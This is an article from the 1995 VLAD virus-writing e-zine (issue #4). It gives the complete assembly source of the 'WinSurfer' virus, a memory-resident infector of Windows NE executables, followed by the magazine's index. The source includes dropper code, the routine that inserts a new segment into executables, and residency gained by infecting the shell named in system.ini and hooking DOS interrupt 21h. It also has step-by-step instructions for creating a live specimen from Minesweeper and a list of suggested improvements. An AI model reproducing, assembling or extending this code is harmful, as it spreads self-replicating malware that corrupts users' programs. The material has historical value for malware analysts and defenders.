Virus Labs & Distribution
VLAD #4 - WinSurfer


;-------------------------------------------------------------------------
;
;       WinSurfer Virus (c) 1995 VLAD incorporated.
;               Written by qark and quantum.
;
;  This virus is a parasitic TSR infector of NewEXE files.  It works in 
;  protected mode only and infects on file execute.
;
;  The executable infection code is by qark, while the interrupt handler
;  code is by quantum.
;
;  This virus contains no stealth of any form, a simple readonly attribute
;  will stop the virus from writing, the time/date stamp is not preserved
;  and there is no encryption of any form.  Windows users are too dumb to
;  notice anyway.
;
;  To obtain a specimen of the virus, copy the compiled com file into the
;  same directory as the file WINMINE.EXE and run it.  Go into Windows
;  and run the game 'Minesweeper'.  Minesweeper should infect program
;  manager direct action, so that next time windows is booted the virus
;  will be resident.
;
;  Possible Bugs and Improvements:
;   1) An error may be that if the file isn't exactly shift alignment sized
;   the virus will overwrite some data at the end of the file or be
;   incorrectly pointed.
;   2) An error may occur if the end of the segment table is less than eight
;   bytes from a 512 byte divisor.
;   3) It may be possible to allocate buffer space without adding to virus
;   size by changing the segment memory size in the segment table. At the
;   moment the virus size is being doubled by the 512 byte read buffer we
;   include in the disk image.
;
;  Although the final virus was coded completely by quantum and I, many
;  people helped by offering ideas, and windows documentation so I
;  must give thanks to the following people:
;  Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
;  The most important help came from Malware who taught me the relocation
;  entry ffff trick.
;
;  Assemble with a86.
;-------------------------------------------------------------------------


;--Directly below is dropper code, ignore it, page down to the virus code--

        mov     ax,3d02h
        mov     dx,offset fname
        int     21h
        xchg    bx,ax
        
        mov     ah,3fh
        mov     cx,512
        mov     dx,offset buffer
        int     21h

        mov     si,offset buffer
        cmp     word ptr [si+3ch],400h
        je      ok_dropper
        int     20h
ok_dropper:
        mov     ax,word ptr [si+2]
        mov     word ptr ppage,ax
        mov     ax,word ptr [si+4]
        mov     word ptr pfile,ax

        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h
        mov     cx,offset setsp - offset header
        mov     dx,offset header
        int     21h

        mov     ax,4200h
        xor     cx,cx
        mov     dx,word ptr [si+3ch]
        int     21h

        mov     ah,3fh
        mov     cx,512
        mov     dx,offset buffer
        int     21h

        mov     ax,word ptr [si+1ch]
        inc     word ptr [si+1ch]       ;increase segment count
        mov     cl,8
        mul     cl
        
        mov     di,word ptr [si+22h]
        add     di,si
        add     di,ax

        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h
        
        ;write in the new segment into the table
        
        mov     cl,byte ptr [si+32h]
        push    bx
        mov     bx,1
        shl     bx,cl
        mov     cx,bx
        pop     bx
        div     cx

        mov     word ptr [di],ax
        mov     word ptr [di+2],winend-win_entry
        mov     word ptr [di+4],180h
        mov     word ptr [di+6],winend-win_entry

        mov     ax,word ptr [si+14h]
        mov     word ptr winip2,ax

        mov     word ptr [si+14h],0

        mov     ax,word ptr [si+16h]
        mov     word ptr wincs2,ax
        mov     ax,word ptr [si+1ch]    ;new cs:ip
        mov     word ptr [si+16h],ax

        mov     ah,40h
        mov     cx,winend-win_entry + 20h
        mov     dx,offset win_entry
        int     21h

        add     word ptr [si+4],512

        add     word ptr [si+24h],512
        add     word ptr [si+26h],512
        add     word ptr [si+28h],512
        add     word ptr [si+2ah],512

        mov     dx,512
        mov     ax,4200h
        xor     cx,cx
        int     21h
        
        mov     ah,40h
        mov     cx,512
        mov     dx,offset buffer
        int     21h
        
        mov     ah,3eh
        int     21h

        int     20h

;--The New Windows DOS stub--
header  db      'MZ'
ppage   dw      0       ;part page
pfile   dw      0       ;file/512
        dw      0       ;relocation items
        dw      10h     ;header size/16
        dw      0       ;minmem
        dw      -1      ;maxmem
        dw      0       ;SS
        dw      offset setsp - offset winstart ;SP
        dw      0       ;checksum
        dw      0       ;IP
        dw      0       ;CS
        dw      40h     ;Relocation offset
        dupsize1        equ 3ch - ($-offset header)
        db      dupsize1 dup (0)
        dw      200h    ;NE offset
        dupsize2        equ 100h - ($-offset header)
        db      dupsize2 dup (0)
winstart:
        call    windowsmsg
        db      'This program requires Microsoft Windows.',0dh,0ah,'$'
windowsmsg:
        pop     dx
        push    cs
        pop     ds
        mov     ah,9
        int     21h
        mov     ax,4c01h
        int     21h
        db      100 dup (0)
setsp:
;---end of fake dropper dos stub--

fname   db      'winmine.exe',0


;----Start of the Virus---All the above is the dropper code, ignore it-------

win_entry:                      ;Infected windows executables start here.
        jmp     realenter

int21start:                             ;Virus Int21 handler

        cmp     ax,1894h                ;Residency test ?
        jnz     nottest
        mov     cx,1234h
        iret
nottest:

        pusha
        push    ds
        push    es

        cmp     ah,4bh                  ;Windows is so dumb it uses DOS to
                                        ;execute.
        jnz     return2int
        call    executing

return2int:

        pop     es
        pop     ds
        popa

        db      0eah
oldint21        dw      0,0

executing:
        
        mov     ax,3d02h                ;Open file in DS:DX
        int     21h
        jnc     ok_open
        ret
ok_open:
        push    ax
        mov     ax,0ah                  ;This function makes our CS writable.
        push    cs
        pop     bx
        int     31h
        push    ax
        pop     ds
        pop     bx

        mov     ah,3fh                  ;Read first 512 bytes of EXE header.
        mov     cx,512
        mov     dx,offset buffer-offset win_entry
        int     21h

        mov     si,offset buffer-offset win_entry

        cmp     word ptr [si],'ZM'      ;Not a COM file.
        jne     bad_open
        cmp     word ptr [si+18h],40h           ;40h+ for NE exe's
        jb      bad_open
        cmp     word ptr [si+3ch],400h          ;header will be below if
        je      fileisoktoinfect                ;already infected...
bad_open:
        jmp     fileisunsuitable

fileisoktoinfect:
        sub     word ptr [si+3ch],8     ;Change NE pointer.
        sub     word ptr [si+10h],8     ;Incase stack is end of header
         
        mov     ax,4200h                ;Lseek right back to the start.
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h                  ;Rewrite the modified DOS header.
        mov     cx,512
        mov     dx,offset buffer - offset win_entry
        int     21h
        jc      bad_open                ;Write fail.. outta here!

        mov     ax,4200h                ;Lseek to NE header.
        xor     cx,cx
        mov     dx,400h
        int     21h

        mov     ah,3fh                  ;Read in first 512 bytes.
        mov     cx,512
        mov     dx,offset buffer - offset win_entry
        int     21h

        ;Adjust header offsets.  Any tables behind the segment table will 
        ;have their offset increased by eight because we are inserting a new
        ;eight byte segment entry.

        mov     ax,word ptr [si+22h]    ;AX=Segment table offset.
        cmp     word ptr [si+4],ax
        jb      ok_et
        add     word ptr [si+4],8
ok_et:
        cmp     word ptr [si+24h],ax
        jb      ok_rt
        add     word ptr [si+24h],8
ok_rt:
        cmp     word ptr [si+26h],ax
        jb      ok_rnt
        add     word ptr [si+26h],8
ok_rnt:
        cmp     word ptr [si+28h],ax
        jb      ok_mrt
        add     word ptr [si+28h],8
ok_mrt:
        cmp     word ptr [si+2ah],ax
        jb      ok_int
        add     word ptr [si+2ah],8
ok_int:
        
        mov     ax,word ptr [si+1ch]
        inc     word ptr [si+1ch]       ;Increase segment count.
        mov     cl,8                    ;Assume less than 256 segments.
        mul     cl

        add     ax,word ptr [si+22h]    ;AX=Size of segment table.
        xor     dx,dx                   ;High order division value.
        mov     cx,512                  ;512 byte portions are used
                                        ; for the reads later on.
        div     cx

        mov     word ptr [offset ne_size-offset win_entry],ax 
                                        ;How much we'll have to read.
        mov     word ptr [offset last_ne-offset win_entry],dx
                                        ;Where the end of the segment table
                                        ; will be when we read it into the
                                        ; buffer. (The last buffer)

        ;Put the original CS:IP into our relocation table.
        push    word ptr [si+14h]
        pop     word ptr [offset newwinip2 - offset win_entry]
        push    word ptr [si+16h]
        pop     word ptr [offset newwincs2 - offset win_entry]

        ;Save the alignment shift count because we need that for calculating
        ;the offset of our segment when writing the segment entry.
        push    word ptr [si+32h]
        pop     word ptr [offset al_shift - offset win_entry]

        ;Point CS:IP to the virus.
        mov     word ptr [si+14h],0     ;The new IP
        mov     ax,word ptr [si+1ch]
        mov     word ptr [si+16h],ax    ;The new CS

        ;Initialise the lseek variable
        mov     word ptr [offset lseek-offset win_entry],400h

        ;The below code gets the NE header and keeps moving it forward by
        ;eight bytes in 512 byte chunks.
move_header_forward:        
        mov     ax,word ptr [offset ne_size-offset win_entry]
        or      ax,ax
        jz      last_page

        dec     word ptr [offset ne_size-offset win_entry]

        mov     ax,4200h                ;Lseek to our current position.
        xor     cx,cx
        mov     dx,word ptr [offset lseek-offset win_entry]
        sub     dx,8
        int     21h
        
        mov     ah,40h                  ;Write the header section out.
        mov     cx,512
        mov     dx,si
        int     21h
        
                                        ;Advance the pointer by 512.
        add     word ptr [offset lseek-offset win_entry],512
        
        mov     ax,4200h                ;Lseek to the next chunk.
        xor     cx,cx
        mov     dx,word ptr [offset lseek-offset win_entry]
        int     21h

        mov     ah,3fh                  ;Read it.
        mov     dx,offset buffer - offset win_entry
        mov     cx,512
        int     21h

        jmp     move_header_forward

last_page:
        mov     ax,4202h                ;Lseek to end of file.
        xor     cx,cx
        cwd
        int     21h                     ;File length into DX:AX

        ;DX:AX=File offset of our segment
        ;Below section shifts the segment offset right by the alignment
        ;shift value.
        mov     cl,byte ptr [offset al_shift - offset win_entry]
        push    bx
        mov     bx,1
        shl     bx,cl
        mov     cx,bx
        pop     bx
        div     cx

        mov     di,si
        add     di,word ptr [offset last_ne-offset win_entry]

        ;Adding the new segment table entry
        mov     word ptr [di],ax        ;Segment offset
        mov     word ptr [di+2],offset winend-offset win_entry
        mov     word ptr [di+4],180h    ;Segment attribute
                                        ; 180h = NonMovable + Relocations
        mov     word ptr [di+6],offset winend-offset win_entry
        
        mov     ax,4200h        ;Lseek to next position.
        xor     cx,cx
        mov     dx,word ptr [offset lseek-offset win_entry]
        sub     dx,8
        int     21h
        
        mov     ah,40h          ;Write rest of NE header + new seg entry.
        mov     cx,word ptr [offset last_ne-offset win_entry]
        add     cx,8            ;Added segment entry means eight more.
        mov     dx,offset buffer - offset win_entry
        int     21h

        ;Reset the relocatable pointer.
        push    word ptr [offset winip - offset win_entry]
        push    word ptr [offset wincs - offset win_entry]
        mov     word ptr [offset winip - offset win_entry],0
        mov     word ptr [offset wincs - offset win_entry],0ffffh

        mov     ax,4202h        ;Lseek to end of file.
        xor     cx,cx
        cwd
        int     21h
        
        mov     ah,40h          ;Write main virus body.
        mov     cx,offset winend-offset win_entry
        xor     dx,dx
        int     21h

        pop     word ptr [offset wincs - offset win_entry]
        pop     word ptr [offset winip - offset win_entry]

        mov     ah,40h          ;Write the relocation item.
        mov     cx,offset winend-offset relocblk
        mov     dx,offset relocblk-offset win_entry
        int     21h

fileisunsuitable:
        
        mov     ah,3eh          ;Close file.
        int     21h

        ret

        prefix          db      'hell='
        windir          db      'indir='
        systemfile      db      'system.ini',0
        NE_Size         dw      0
        Last_NE         dw      0
        Al_Shift        dw      0
        LSeek           dw      0
        progman         db      0       ;1=Program Manager
        envir           dw      0       ;environment segment
        pathbuff        db      142 dup (0)
realenter:

        pusha
        push    si
        push    di
        push    ds
        push    es
        
        mov     ax,1686h                    ;Is DPMI available ?
        int     2fh
        or      ax,ax
        jz      dpmifound
no_dpmi:
        jmp     alreadyinmem
dpmifound:
        mov     ax,000ah                    ;Make CS writable.
        push    cs                          ;Protected mode isn't protected.
        pop     bx
        int     31h                         ;Use DPMI.
        push    ax
        pop     ds

        xor     cx,cx                       ;Check if resident.
        mov     ax,1894h
        int     21h

        cmp     cx,1234h                    ;Must be resident..
        jz      no_dpmi

        cmp     byte ptr [offset progman - offset win_entry],1
        jne     direct_progman

        mov     byte ptr [offset progman - offset win_entry],0
        
        ;Can't go TSR off any program but program manager.
        mov     ax,0204h                    ;Get real mode interrupt vector.
        mov     bl,21h
        int     31h

        mov     ds:[offset oldint21 - win_entry],dx
        mov     ds:[offset oldint21 - win_entry + 2],cx

        push    cs
        pop     cx
        mov     dx,offset int21start-win_entry
        mov     ax,0205h
        mov     bl,21h
        int     31h                         ;Set real mode interrupt vector.
        jmp     alreadyinmem

direct_progman:
        ;Next portion of code searches for the environment variable
        ;'windir' and places that before the files we access.
        
        ;On entry ES=PSP

        mov     ax,word ptr es:[2ch]    ;PSP:[2ch]=Environment segment.
        
        cld
        
        mov     es,ax

        mov     al,'w'                  ;w from windir
        mov     cx,-1
        xor     di,di
        mov     dx,di
dir_loop:
        mov     di,dx
        repnz   scasb
        mov     dx,di
        mov     si,offset windir-win_entry
        push    cx
        mov     cx,6
        repe    cmpsb                   ;indir from windir
        pop     cx
        jne     dir_loop
        mov     si,di
        mov     ax,ds
        push    es
        pop     ds
        mov     es,ax
        mov     cx,128
        mov     di,offset pathbuff-win_entry
        rep     movsb                   ;Move it into our path buffer.
        push    es
        pop     ds

        mov     di,offset pathbuff-win_entry
        mov     al,0
        mov     cx,128
        repnz   scasb
        mov     byte ptr es:[di-1],'\'          ;Add a slash behind the path.
        mov     si,offset systemfile -offset win_entry
        mov     cx,11
        rep     movsb

        ;The below code reads in the 'system.ini' file and searches for
        ;the 'shell=' value, and infects the program specified by it.
        ;The windows shell (eg program manager) is always active in memory
        ;and we use it to go resident off.

        mov     ax,3d02h
        mov     dx,offset pathbuff -offset win_entry
        int     21h

        jc      alreadyinmem
        xchg    bx,ax

        mov     ah,3fh
        mov     cx,512
        mov     dx,offset buffer -offset win_entry
        int     21h

        mov     ah,3eh
        int     21h

        push    ds
        pop     es

        mov     di,offset buffer-offset win_entry
        mov     dx,di

        cld
        mov     cx,512
shell_loop:
        mov     di,dx
        mov     al,'s'                  ;The 's' in 'shell='
        repne   scasb
        jne     alreadyinmem
        mov     dx,di

        mov     si,offset prefix -offset win_entry ;Test for 'hell='
        push    cx
        mov     cx,5
        repe    cmpsb
        pop     cx
        jne     shell_loop
        mov     si,di                   ;Offset of filename into DX.

        mov     al,'.'                  ;The dot in the filename extension.
        mov     cl,0ffh
        repne   scasb
        add     di,3                    ;Point to past the filename.
        mov     byte ptr es:[di],0      ;Add a zero to make it asciiz.

        mov     di,offset pathbuff-win_entry
        mov     al,0
        mov     cx,128
        repnz   scasb                   ;Search for the 0 at the path end.
        dec     di
        mov     al,'\'                  ;Now find the last backslash.
        mov     cx,128
        std                             ;Scan backwards.
        repnz   scasb
        cld
        inc     di                      ;DI points behind the final '\'
        inc     di
        mov     cx,15
        rep     movsb                   ;Append the shell program name.
        mov     dx,offset pathbuff-win_entry

        mov     byte ptr [offset progman - offset win_entry],1
        call    executing
        mov     byte ptr [offset progman - offset win_entry],0

alreadyinmem:

        pop     es
        pop     ds
        pop     di
        pop     si
        popa

        db      0eah                    ;JMP FAR PTR xxxx:xxxx
winip   dw      0
wincs   dw      0ffffh                  ;Needs to be FFFF due to windows
                                        ; relocation item format.
buffer  db      512 dup (0)

;Below is the relocation item format.  What ours does is turn the far jump
; above us into a jump to the original CS:IP.
relocblk        dw      1               ;Signal only one relocation item.
                db      3               ;32 bit pointer relocation.
                db      4               ;Additive relocation (unsure, but
                                        ; it doesnt work unless you put this)
                dw      offset winip-offset win_entry ;Relocation offset.
newwincs2       dw      0               ;Target of the relocation. (We use
newwinip2       dw      0               ; the original host CS:IP)

winend:                         ;The actual virus ends here.
;-----End of the Virus---Below is dropper code-----------------------------
        dw      1
        db      3
        db      4
        dw      offset winip - offset win_entry
wincs2  dw      0
winip2  dw      0

- VLAD #4 INDEX -
ARTICLE.0_0       Hidden Area Story By QuantumG

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Tax Office
ARTICLE.2_2       Fight Back!
ARTICLE.2_3       Interviews
ARTICLE.2_4       Cryptanalysis
ARTICLE.2_5       Slovakia
ARTICLE.2_6       TBMem Flaws
ARTICLE.2_7       F-Prot Troubles

ARTICLE.3_1      

Win Infection
ARTICLE.3_2       WinVir14 Disasm
ARTICLE.3_3       Andropinis
ARTICLE.3_4       Super Virus-2
ARTICLE.3_5       VTBoot
ARTICLE.3_6       Ebbelwoi VQ7
ARTICLE.3_7       Unix Viruses

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Ender Wiggin
ARTICLE.4_3       WinSurfer
ARTICLE.4_4       Antipode 2.0
ARTICLE.4_5       Bane
ARTICLE.4_6       RHINCE
ARTICLE.4_7       Tasha Yar

ARTICLE.5_1      

Replicator
ARTICLE.5_2       ART v2.2
ARTICLE.5_3       Good Times!
ARTICLE.5_4       DOS Idle
ARTICLE.5_5       Neither
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main